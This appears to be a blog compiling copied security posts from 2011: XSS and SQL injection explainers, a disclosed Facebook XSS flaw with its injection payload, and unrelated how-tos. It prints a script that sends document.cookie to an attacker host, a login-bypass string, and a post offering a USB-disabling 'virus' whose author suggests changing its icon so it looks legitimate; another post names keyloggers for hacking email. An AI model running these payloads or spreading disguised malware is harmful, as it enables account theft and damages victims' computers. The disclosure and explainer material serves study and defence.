Search This Blog

Sunday, January 30, 2011

BackTrack

Welcome to backtrack-linux.org, home of the highest rated and acclaimed Linux security distribution to date. BackTrack is a Linux-based penetration testing arsenal that aids security professionals in the ability to perform assessments in a purely native environment dedicated to hacking. Regardless if you’re making BackTrack your primary operating system, booting from a LiveDVD, or using your favorite thumbdrive, BackTrack has been customized down to every package, kernel configuration, script and patch solely for the purpose of the penetration tester.
BackTrack 4 R2 Released!
back|track R2
BackTrack is intended for all audiences from the most savvy security professionals to early newcomers to the information security field. BackTrack promotes a quick and easy way to find and update the largest database of security tools collection to-date. Our community of users range from skilled penetration testers in the information security field, government entities, information technology, security enthusiasts, and individuals new to the security community.
Feedback from all industries and skill levels allows us to truly develop a solution that is tailored towards everyone and far exceeds anything ever developed both commercially and freely available. The BackTrack Project is funded by Offensive Security.

Saturday, January 29, 2011

Which Vulnerabilities does Acunetix WVS Check for?

Acunetix WVS automatically checks for the following vulnerabilities among others:

Google hacking

What is Google hacking?Google hacking is the term used when a hacker tries to find exploitable targets and sensitive data by using search engines. The Google Hacking Database (GHDB) is a database of queries that identify sensitive data. Although Google blocks some of the better known Google hacking queries, nothing stops a hacker from crawling your site and launching the Google Hacking Database queries directly onto the crawled content.
The Google Hacking Database is located at http://johnny.ihackstuff.com. More information about Google hacking can be found on: http://www.informit.com/articles/article.asp?p=170880&rl=1.
What a hacker can do if your site is vulnerableInformation that the Google Hacking Database identifies:
  • Advisories and server vulnerabilities
  • Error messages that contain too much information
  • Files containing passwords
  • Sensitive directories
  • Pages containing logon portals
  • Pages containing network or vulnerability data such as firewall logs.
How to check for Google hacking vulnerabilitiesThe easiest way to check whether your web site & applications have Google hacking vulnerabilities, is to use a Web Vulnerability Scanner. A Web Vulnerability Scanner scans your entire website and automatically checks for pages that are identified by Google hacking queries. (Note: Your web vulnerability scanner must be able to launch Google hacking queries).
The Acunetix Web Vulnerability Scanner scans for SQL injection, Cross site scripting and many more vulnerabilities. For more information & a trial download click here.
Preventing Google hacking attacksRemove all pages identified by Google hacking queries
Check if your website is vulnerable to attack with Acunetix Web Vulnerability Scanner
Acunetix Web Vulnerability Scanner ensures website security by automatically checking for SQL injection, Cross site scripting and other vulnerabilities. It checks password strength on authentication pages and automatically audits shopping carts, forms, dynamic content and other web applications. As the scan is being completed, the software produces detailed reports that pinpoint where vulnerabilities exist. Take a product tour or download the evaluation version today!
Scanning for XSS vulnerabilities with Acunetix WVS Free Edition! To check whether your website has cross site scripting vulnerabilities, download the Free Edition from http://www.acunetix.com/cross-site-scripting/scanner.htm. This version will scan any website / web application for XSS vulnerabilities and it will also reveal all the essential information related to it, such as the vulnerability location and remediation techniques. Scanning for XSS is normally a quick exercise (depending on the size of the web-site).

Exploiting a cross-site scripting vulnerability on Facebook


Exploiting a cross-site scripting vulnerability on Facebook

Impact of Cross-Site Scripting vulnerabilities on social networking sites
Take a walk through most workplaces and you will surely notice someone browsing a social networking site. No wonder that website popularity services like Alexa rate Facebook the second most visited website after Google and before Youtube!  We trust these websites to reflect the public image that we want to portray and sometimes even trust with secrets. A single cross-site scripting vulnerability allows attackers to do anything (that the victim may do) on behalf of the victim. In this article we will look at how Facebook accounts could be compromised through such a simple, yet effective vulnerability.
HTTPOnly does not protect your site (or Facebook) from XSS exploitation
Traditionally, most cross-site scripting exploitation involves sending the cookie to the attacker through javascript. The attacker would typically write dynamic HTML such as the one below, which dynamically sends the cookie to a web server controlled by the attacker.
[code]
<script>
document.write("<img src='http://attackersite/a.gif?x=" + escape(document.cookie + "'>")
</script>
[/code]

Due to mass exploitation of cross-site scripting, a number of popular websites now make use of a cookie flag called HTTPOnly. This feature was introduced in web browsers some time ago to prevent the cookie from being accessible through javascript’s document.cookie. Facebook does use this flag for the cookies that handle authentication to mitigate exploitation of cross-site scripting. However, such protection is limited.
When exploiting a cross-site scripting vulnerability, an attacker does not have to rely on stealing the cookie. Since the attacker can inject javascript code on the victim website, the attacker can also perform various malicious actions. In the case of Facebook this includes:
  • Reading the victim’s private messages
  • Making the victim’s private pictures available to attackers
  • Sending of messages to the victim’s contacts on behalf of the victim
  • Adding new Facebook applications
  • Stealing contacts
Detailed explanation of the Cross-Site Scripting vulnerability on Facebook
Facebook makes use of PHP scripts.  The following script became vulnerable to cross-site scripting some time in July 2010: http://www.facebook.com/ads/create/photos/creative_uploader.php
This script takes various parameters, one of which (controller_id) was writing user input directly inside a script tag. Take the following URL as example:
http://www.facebook.com/ads/create/photos/creative_uploader.php?controller_id=c4c288b438ed080&path=whatever&src=whatever&vol=90&w=60&h=80&post_upload=1
The part of the HTML body that interests us is the following;
<script>
...
onloadRegister(function (){window.parent.__UIControllerRegistry["c4c288b438ed080"].saveUploadedImage("whatever", "whatever", 90, 60, 80);});
...
</script>

You will notice that controller_id value (c4c288b438ed080) is written directly in the Javascript section of the HTML page.  By inserting a double quote, an attacker is able to escape the Array’s key string and insert javascript directly within a page on facebook.com.  The obvious way to execute the typical alert XSS demonstration is to change the parameter controller_id to something such as the following:
controller_id=test”]}; alert(“facebook test”); //
This would create the following content:

<script>
...
onloadRegister(function (){window.parent.__UIControllerRegistry["test"]}; alert("facebook test"); //"].saveUploadedImage("whatever", "whatever", 90, 60, 80);});
...
</script>

Such content would run the alert box such as the one in the screenshot, which is simply a demonstration of the vulnerability. However alert boxes do not impress.
Such content would run the alert box such as the one in the screenshot, which is simply a demonstration of the vulnerability. However alert boxes do not impress.

To exploit such a vulnerability, the attacker’s javascript would need something better. One of the things that an attacker can do at this stage is to read JSON content just like Facebook’s client-side scripts.

How to exploit the XSS vulnerability to hijack Facebook accounts
Therefore to achieve this, an attacker may call an external .js file on his or her web server that adds more code.  There are a number of frameworks which can help security professionals (and real attackers) exploit such cross-site scripting vulnerability, like BeEF, and lately “Shell of the Future”. However, in this case we decided to write custom code which targets Facebook features specifically, to show what can be done on Facebook.
The javascript code instructs the victim’s web browser to read a list of private messages sent to the victim found on http://www.facebook.com/ajax/home/inbox.php. The code parses the message ID of each message. Then for each message, the attacker’s javascript code would read the message by passing the correct message id to http://www.facebook.com/ajax/gigaboxx/endpoint/ReadThread.php.
Finally, the attacker could receive the content of the message directly on his web server similar to the traditional exploitation of document.cookie. In the below video demonstration, we decided to show how the attacker could even send the victim’s sensitive data through a Facebook chat. This is done by forcing the victim’s web browser to send these messages through the Facebook chat feature.
Can this vulnerability be turned into a worm?
Definitely! One could conclude that such a cross-site scripting security hole could easily be turned into a social network worm that requires little interaction from the victim’s side. Such worms on one of the world’s top 10 websites could turn to be rather profitable to cyber-criminals. Luckily for Facebook, fixing the cross-site scripting hole would typically stop such a worm. Once found, most reflected cross-site scripting vulnerabilities are easy to fix. In the case of this Facebook vulnerability, the developers added input validation. When the validation fails, the PHP script shows an error blocking exploitation.
We notified Facebook about this instance of cross-site scripting vulnerability and would like to thank the Facebook Security Team for quickly fixing this security hole.

Cross Site Scripting Attack


Cross Site Scripting Attack

What is Cross site Scripting?
Hackers are constantly experimenting with a wide repertoire of hacking techniques to compromise websites and web applications and make off with a treasure trove of sensitive data including credit card numbers, social security numbers and even medical records.
Cross Site Scripting (also known as XSS or CSS) is generally believed to be one of the most common application layer hacking techniques.
In general, cross-site scripting refers to that hacking technique that leverages vulnerabilities in the code of a web application to allow an attacker to send malicious content from an end-user and collect some type of data from the victim.
Today, websites rely heavily on complex web applications to deliver different output or content to a wide variety of users according to set preferences and specific needs. This arms organizations with the ability to provide better value to their customers and prospects. However, dynamic websites suffer from serious vulnerabilities rendering organizations helpless and prone to cross site scripting attacks on their data.
"A web page contains both text and HTML markup that is generated by the server and interpreted by the client browser. Web sites that generate only static pages are able to have full control over how the browser interprets these pages. Web sites that generate dynamic pages do not have complete control over how their outputs are interpreted by the client. The heart of the issue is that if mistrusted content can be introduced into a dynamic page, neither the web site nor the client has enough information to recognize that this has happened and take protective actions." (CERT Coordination Center).
Cross Site Scripting allows an attacker to embed malicious JavaScript, VBScript, ActiveX, HTML, or Flash into a vulnerable dynamic page to fool the user, executing the script on his machine in order to gather data. The use of XSS might compromise private information, manipulate or steal cookies, create requests that can be mistaken for those of a valid user, or execute malicious code on the end-user systems. The data is usually formatted as a hyperlink containing malicious content and which is distributed over any possible means on the internet.
As a hacking tool, the attacker can formulate and distribute a custom-crafted CSS URL just by using a browser to test the dynamic website response. The attacker also needs to know some HTML, JavaScript and a dynamic language, to produce a URL which is not too suspicious-looking, in order to attack a XSS vulnerable website.
Any web page which passes parameters to a database can be vulnerable to this hacking technique. Usually these are present in Login forms, Forgot Password forms, etc…
N.B. Often people refer to Cross Site Scripting as CSS or XSS, which is can be confused with Cascading Style Sheets (CSS).
Is your site vulnerable to Cross Site Scripting
Our experience leads us to conclude that the cross-site scripting vulnerability is one of the most highly widespread flaw on the Internet and will occur anywhere a web application uses input from a user in the output it generates without validating it. Our own research shows that over a third of the organizations applying for our free audit service are vulnerable to Cross Site Scripting. And the trend is upward.

Example of a Cross Site Scripting attackAs a simple example, imagine a search engine site which is open to an XSS attack. The query screen of the search engine is a simple single field form with a submit button. Whereas the results page, displays both the matched results and the text you are looking for.
Example:Search Results for "XSS Vulnerability"
To be able to bookmark pages, search engines generally leave the entered variables in the URL address. In this case the URL would look like:
http://test.searchengine.com/search.php?q=XSS%20
Vulnerability
Next we try to send the following query to the search engine:
<script type="text/javascript"> alert('This is an XSS Vulnerability') </script>
By submitting the query to search.php, it is encoded and the resulting URL would be something like:
http://test.searchengine.com/search.php?q=%3Cscript%3
Ealert%28%91This%20is%20an%20XSS%20Vulnerability%92%2
9%3C%2Fscript%3E
Upon loading the results page, the test search engine would probably display no results for the search but it will display a JavaScript alert which was injected into the page by using the XSS vulnerability.
How to check for Cross site scripting vulnerabilitiesTo check for Cross site scripting vulnerabilities, use a Web Vulnerability Scanner. A Web Vulnerability Scanner crawls your entire website and automatically checks for Cross Site Scripting vulnerabilities. It will indicate which URLs/scripts are vulnerable to these attacks so that you can fix the vulnerability easily. Besides Cross site scripting vulnerabilities a web application scanner will also check for SQL injection & other web vulnerabilities.
Acunetix Web Vulnerability Scanner scans for SQL injection, Cross site scripting, Google hacking and many more vulnerabilities.
Preventing Cross Site Scripting attacksTo prevent these attacks, dangerous characters must be filtered out from the web application inputs. These should be filtered out both in their ASCII and HEX values.
Scanning for XSS vulnerabilities with Acunetix WVS Free Edition! To check whether your website has cross site scripting vulnerabilities, download the Free Edition from http://www.acunetix.com/cross-site-scripting/scanner.htm. This version will scan any website / web application for XSS vulnerabilities and it will also reveal all the essential information related to it, such as the vulnerability location and remediation techniques. Scanning for XSS is normally a quick exercise (depending on the size of the web-site).
Web Application Security Blog

10 great ways to get hacked in the New Year

It’s that time of year for us to get inundated with all those Top 10 lists to help us achieve this, prevent that and so on. Those lists are valuable indeed, especially if you need some motivation to get your year started off on the right foot. So, in the same vein, I thought I’d put together a list of things you (and management) can do in order to experience the splendor of a Web-related security breach in the New Year. Some are technical issues, some operational; here they are in no particular order:

1.       Don’t bother enforcing strong passwords or intruder lockout in your application. They’ll just get in the way of your users and lead to increased customer support calls.
2.       Put a Web application firewall in place to cover up known SQL injection issues and similar problems.
3.       Ignore those oracle padding vulnerabilities that keep cropping up. Someone will probably patch the server eventually anyway.
4.       Use production data in development, QA, and staging – especially if it contains PII. Ideally, keep your development and QA servers unhardened with no patches, weak/default passwords, and open server shares to assist malicious insiders gain access. A well-positioned staging server with a similar configuration accessible via the Internet is good too.
5.       Assume, like many others, that Web-based malware couldn’t really affect your code. An added benefit would be to not install anti-malware software on your servers. It’ll just slow them down.
6.       Web services are hidden from hackers so there’s no need to test how they hold up to attacks.
7.       Don’t manually test your applications for flaws or even bother to validate what your Web vulnerability scanner turns up. It just takes too much time and requires too much brain power.
8.       Rely on vendor promises that your systems are secure in their facilities. This is especially true if they have one of those SAS 70 Type II audit reports that people are oh so eager to hand out when questioned about security.
9.       If you’re lucky enough to have a lawyer representing your business, let him or her handle all the contractual stuff affecting your Web presence. From hosting SLAs to software development contracts, legal counsel should be trusted to do the right things for the business without getting IT involved.
10.   Focus your efforts on pleasing your compliance manager and internal or external auditors. As long as they’re happy that’s usually a good indicator of overall security health.
Seriously folks, these are actual issues I’ve seen in my work but obviously they’re things you should strive to avoid. Whatever your perspective, Web application security is a mine field to say the least so watch where you step. Here’s to a great – and secure – New Year!

WHAT IS SQL INJECTION


SQL Injection: What is it?

SQL Injection is one of the many web attack mechanisms used by hackers to steal data from organizations. It is perhaps one of the most common application layer attack techniques used today. It is the type of attack that takes advantage of improper coding of your web applications that allows hacker to inject SQL commands into say a login form to allow them to gain access to the data held within your database.
In essence, SQL Injection arises because the fields available for user input allow SQL statements to pass through and query the database directly.
SQL Injection: An In-depth ExplanationWeb applications allow legitimate website visitors to submit and retrieve data to/from a database over the Internet using their preferred web browser. Databases are central to modern websites – they store data needed for websites to deliver specific content to visitors and render information to customers, suppliers, employees and a host of stakeholders. User credentials, financial and payment information, company statistics may all be resident within a database and accessed by legitimate users through off-the-shelf and custom web applications. Web applications and databases allow you to regularly run your business.
SQL Injection is the hacking technique which attempts to pass SQL commands (statements) through a web application for execution by the backend database. If not sanitized properly, web applications may result in SQL Injection attacks that allow hackers to view information from the database and/or even wipe it out.
Such features as login pages, support and product request forms, feedback forms, search pages, shopping carts and the general delivery of dynamic content, shape modern websites and provide businesses with the means necessary to communicate with prospects and customers. These website features are all examples of web applications which may be either purchased off-the-shelf or developed as bespoke programs.
These website features are all susceptible to SQL Injection attacks which arise because the fields available for user input allow SQL statements to pass through and query the database directly.
SQL Injection: A Simple ExampleTake a simple login page where a legitimate user would enter his username and password combination to enter a secure area to view his personal details or upload his comments in a forum.
When the legitimate user submits his details, an SQL query is generated from these details and submitted to the database for verification. If valid, the user is allowed access. In other words, the web application that controls the login page will communicate with the database through a series of planned commands so as to verify the username and password combination. On verification, the legitimate user is granted appropriate access.
Through SQL Injection, the hacker may input specifically crafted SQL commands with the intent of bypassing the login form barrier and seeing what lies behind it. This is only possible if the inputs are not properly sanitised (i.e., made invulnerable) and sent directly with the SQL query to the database. SQL Injection vulnerabilities provide the means for a hacker to communicate directly to the database.
The technologies vulnerable to this attack are dynamic script languages including ASP, ASP.NET, PHP, JSP, and CGI. All an attacker needs to perform an SQL Injection hacking attack is a web browser, knowledge of SQL queries and creative guess work to important table and field names. The sheer simplicity of SQL Injection has fuelled its popularity.
Other contents:
Why is it possible to pass SQL Queries to the database even though this is hidden behind a firewall?
Is my database at risk to SQL Injection?
What is the impact of SQL Injection?
Example of a SQL Injection Attack
How do I prevent SQL Injection attacks?
Why is it possible to pass SQL queries directly to a database that is hidden behind a firewall and any other security mechanism?
Firewalls and similar intrusion detection mechanisms provide little or no defense against full-scale SQL Injection web attacks.
Since your website needs to be public, security mechanisms will allow public web traffic to communicate with your web application/s (generally over port 80/443). The web application has open access to the database in order to return (update) the requested (changed) information.
In SQL Injection, the hacker uses SQL queries and creativity to get to the database of sensitive corporate data through the web application.
SQL or Structured Query Language is the computer language that allows you to store, manipulate, and retrieve data stored in a relational database (or a collection of tables which organise and structure data). SQL is, in fact, the only way that a web application (and users) can interact with the database. Examples of relational databases include Oracle, Microsoft Access, MS SQL Server, MySQL, and Filemaker Pro, all of which use SQL as their basic building blocks.
SQL commands include SELECT, INSERT, DELETE and DROP TABLE. DROP TABLE is as ominous as it sounds and in fact will eliminate the table with a particular name.
In the legitimate scenario of the login page example above, the SQL commands planned for the web application may look like the following:
SELECT count(*)
FROM users_list_table
WHERE username=’FIELD_USERNAME’
AND password=’FIELD_PASSWORD”

In plain English, this SQL command (from the web application) instructs the database to match the username and password input by the legitimate user to the combination it has already stored.
Each type of web application is hard coded with specific SQL queries that it will execute when performing its legitimate functions and communicating with the database. If any input field of the web application is not properly sanitised, a hacker may inject additional SQL commands that broaden the range of SQL commands the web application will execute, thus going beyond the original intended design and function.
A hacker will thus have a clear channel of communication (or, in layman terms, a tunnel) to the database irrespective of all the intrusion detection systems and network security equipment installed before the physical database server.
Is my database at risk to SQL Injection?SQL Injection is one of the most common application layer attacks currently being used on the Internet. Despite the fact that it is relatively easy to protect against SQL Injection, there are a large number of web applications that remain vulnerable.
According to the Web Application Security Consortium (WASC) 9% of the total hacking incidents reported in the media until 27th July 2006 were due to SQL Injection. More recent data from our own research shows that about 50% of the websites we have scanned this year are susceptible to SQL Injection vulnerabilities.
It may be difficult to answer the question whether your web site and web applications are vulnerable to SQL Injection especially if you are not a programmer or you are not the person who has coded your web applications.
Our experience leads us to believe that there is a significant chance that your data is already at risk from SQL Injection.
Whether an attacker is able to see the data stored on the database or not, really depends on how your website is coded to display the results of the queries sent. What is certain is that the attacker will be able to execute arbitrary SQL Commands on the vulnerable system, either to compromise it or else to obtain information.
If improperly coded, then you run the risk of having your customer and company data compromised.
What an attacker gains access to also depends on the level of security set by the database. The database could be set to restrict to certain commands only. A read access normally is enabled for use by web application back ends.
Even if an attacker is not able to modify the system, he would still be able to read valuable information.
What is the impact of SQL Injection?Once an attacker realizes that a system is vulnerable to SQL Injection, he is able to inject SQL Query / Commands through an input form field. This is equivalent to handing the attacker your database and allowing him to execute any SQL command including DROP TABLE to the database!
An attacker may execute arbitrary SQL statements on the vulnerable system. This may compromise the integrity of your database and/or expose sensitive information. Depending on the back-end database in use, SQL injection vulnerabilities lead to varying levels of data/system access for the attacker. It may be possible to manipulate existing queries, to UNION (used to select related information from two tables) arbitrary data, use subselects, or append additional queries.
In some cases, it may be possible to read in or write out to files, or to execute shell commands on the underlying operating system. Certain SQL Servers such as Microsoft SQL Server contain stored and extended procedures (database server functions). If an attacker can obtain access to these procedures, it could spell disaster.
Unfortunately the impact of SQL Injection is only uncovered when the theft is discovered. Data is being unwittingly stolen through various hack attacks all the time. The more expert of hackers rarely get caught.
Example of a SQLInjection AttackHere is a sample basic HTML form with two inputs, login and password.

<form method="post" action="http://testasp.vulnweb.com/login.asp">
<input name="tfUName" type="text" id="tfUName">
<input name="tfUPass" type="password" id="tfUPass">
</form>

The easiest way for the login.asp to work is by building a database query that looks like this:

SELECT id
FROM logins
WHERE username = '$username'
AND password = '$password’


If the variables $username and $password are requested directly from the user's input, this can easily be compromised. Suppose that we gave "Joe" as a username and that the following string was provided as a password: anything' OR 'x'='x

SELECT id
FROM logins
WHERE username = 'Joe'
AND password = 'anything' OR 'x'='x'


As the inputs of the web application are not properly sanitised, the use of the single quotes has turned the WHERE SQL command into a two-component clause.

The 'x'='x' part guarantees to be true regardless of what the first part contains.

This will allow the attacker to bypass the login form without actually knowing a valid username / password combination!

How do I prevent SQL Injection attacks?Firewalls and similar intrusion detection mechanisms provide little defense against full-scale web attacks. Since your website needs to be public, security mechanisms will allow public web traffic to communicate with your databases servers through web applications. Isn’t this what they have been designed to do?

Patching your servers, databases, programming languages and operating systems is critical but will in no way the best way to prevent SQL Injection Attacks.

Is your website vulnerable to XSS attacks? Download Acunetix Web Vulnerability Scanner and find out today!


Is your website vulnerable to XSS attacks? Download Acunetix Web Vulnerability Scanner and find out today!

Hackers are on the lookout for Cross Site Scripting (XSS) vulnerabilities in YOUR web applications: Shopping carts, forms, login pages, dynamic content are easy targets. Beat them to it and scan your web applications with Acunetix Web Vulnerability Scanner:
  • Acunetix WVS automatically checks your web applications for XSS, SQL Injection & other vulnerabilities.
  • Firewalls, SSL and locked-down servers are futile against web application hacking.
  • Acunetix checks your web applications for coding errors that result in Cross Site Scripting vulnerabilities.
  • Acunetix also checks for other vulnerabilities in popular web applications such as Joomla, PHPbb.
  • Acunetix identifies files with XSS vulnerabilities allowing you to fix them BEFORE the hacker finds them!
Download the Free Edition of Acunetix Web Vulnerability Scanner
It will chart out your website and identify Cross Site Scripting (XSS) Vulnerabilities.  Alternatively take a product tour.

A Virus Program to Disable USB Ports

In this post I will show how to create a simple virus that disables/blocks the USB ports on the computer (PC). As usual I use my favorite C programming language to create this virus. Anyone with a basic knowledge of C language should be able to understand the working of this virus program.
Once this virus is executed it will immediately disable all the USB ports on the computer. As a result the you’ll will not be able to use your pen drive or any other USB peripheral on the computer. The source code for this virus is available for download. You can test this virus on your own computer without any worries since I have also given a program to re-enable all the USB ports.
1. Download the USB_Block.rar file on to your computer.
2. It contains the following 4 files.
  • block_usb.c (source code)
  • unblock_usb.c (source code)
3. You need to compile them before you can run it. A step-by-step procedure to compile C programs is given in my post - How to Compile C Programs.
3. Upon compilation of block_usb.c you get block_usb.exe which is a simple virus that will block (disable) all the USB ports on the computer upon execution (double click).
4. To test this virus, just run the block_usb.exe file and insert a USB pen drive (thumb drive). Now you can see that your pen drive will never get detected. To re-enable the USB ports just run the unblock_usb.exe  (you need to compile unblock_usb.c) file. Now insert the pen drive and it should get detected.
5. You can also change the icon of this file to make it look like a legitimate program. For more details on this refer my post – How to Change the ICON of an EXE file (This step is also optional).
I hope you like this post. Please pass your comments.

How to Enable or Disable Hibernation in Windows 7

Enabling or Disabling the “Hibernate” option in Windows 7 or Vista is not as simple as it used to be in Windows XP. For Windows 7 a different approach has to be followed to accomplish the same job. In this post you will find how to enable or disable the Hibernate option in Windows 7.
Hibernation is a power saving option which was designed primarily for laptops. Unlike “sleep mode” which puts the open documents and files into the memory, hibernation puts all the open files and documents on to the hard disk and shuts down the computer without drawing even a small amount of power. Thus hibernation becomes an excellent way to save power and resume Windows back to the state where it was left off. If you really want to use this feature on Windows 7 then you need to enable this option. This can be done as follows.
1. Open the Command Prompt with “Administrator rights”. To do so, type cmd in Start menu and then hit Ctrl+Shift+Enter.
2. Now type the following command in the command prompt and hit Enter.

powercfg /hibernate on
3. Type exit and hit Enter to close the Command Prompt. Now you should see the “Hibernate” option in the Start menu. If not then perform the following steps.
A. Type Power Options in the Start menu and hit Enter.
B. In the left pane, open the link labeled “Change when the computer sleeps” and then open the link “Change advanced power settings”.
Now a small window will pop-up as shown below

What to Do When Your Email Account is Hacked?

It can be a real nightmare if someone hacks and takes control of your email account as it may contain confidential information like bank logins, credit card details and other sensitive data. If you are one such Internet user whose email account has been compromised, then this post will surely help you out. In this post you will find the possible ways and procedures to get back your hacked email account.

For Gmail:

It can be a big disaster if your Gmail account has been compromised as it may be associated with several services like Blogger, Analytics, Adwords, Adsense, Orkut etc. Losing access to your Gmail account means losing access to all the services associated it with too. Here is a list of possible recovery actions that you can try.
Step -1: Try resetting your password since it is the easiest way to get your account back in action. In this process Google may ask you to answer the secret question or may send the password reset details to the secondary email address associated with your compromised account. You can reset you password from the following link
 
If you cannot find success from the Step-1 then proceed to Step-2.
 
Step-2: Many times the hacker will change the secret question and secondary email address right after the account is compromised. This is the reason for the Password Reset process to fail. If this is the case then you need to contact the Gmail support team by filling out the account recovery form. This form will ask you to fill out several questions like
1. Email addresses of up to five frequently emailed contacts
2. Names of any 4 Labels that you may have created in your account
3. List of other services associated with your compromised account
4. Your last successful login date
5. Account created date
6. Last password that you remember and many more…
You need to fill out this form as much accurately as possible. It is obvious to forget the dates of last login, account creation and similar terms. However you need to figure out the closest possible date/answers and fill out this form. This is your last chance! The more accurate the information filled out in the recovery form, the more the chances of getting your account back. You may reach the account recovery page form the following link

Common Email Hacking Methods

Gone are the days when email hacking was a sophisticated art. Today any body can access hacking tips through the Internet and start hacking your yahoo or hotmail account. All that is needed is doing a search on google with keywords like “how to hack yahoo”, “hack yahoo messenger”, “hotmail hack program” etc. The following article is not an effort to teach you email hacking, but it has more to do with raising awareness on some common email hacking methods.
Hackers can install keylogger programs in the victim’s computer. This program can spy on what the user types from the keyboard. If you think that you can just uninstall such programs, you are wrong as they are completely hidden. After installation, the hacker will use a password and hot keys to enable the keylogger. He can then use the hot keys and password to access your key entry details.
A keylogger program is widely available on the internet.some of them are listed below
Win-Spy Monitor
Realtime Spy
SpyAgent Stealth
Spy Anywhere
For more information on keyloggers and it’s usage refer my post Hacking an email account.
Even if direct access to your computer is not possible, hackers can still install a key logger from a remote place and access your computer using Remote Administration Tools (RATs).

HOW STUFFS WORK, INTERNET SECURITY, PC SECURITY »



Due to ever increasing threat from virus and other malicious programs, almost every computer today comes with a pre-installed antivirus software on it. In fact, an antivirus has become one of the most essential software package for every computer. Even though every one of us have an antivirus software installed on our computers, only a few really bother to understand how it actually works! Well if you are one among those few who would really bother to understand how an antivirus works, then this article is for you.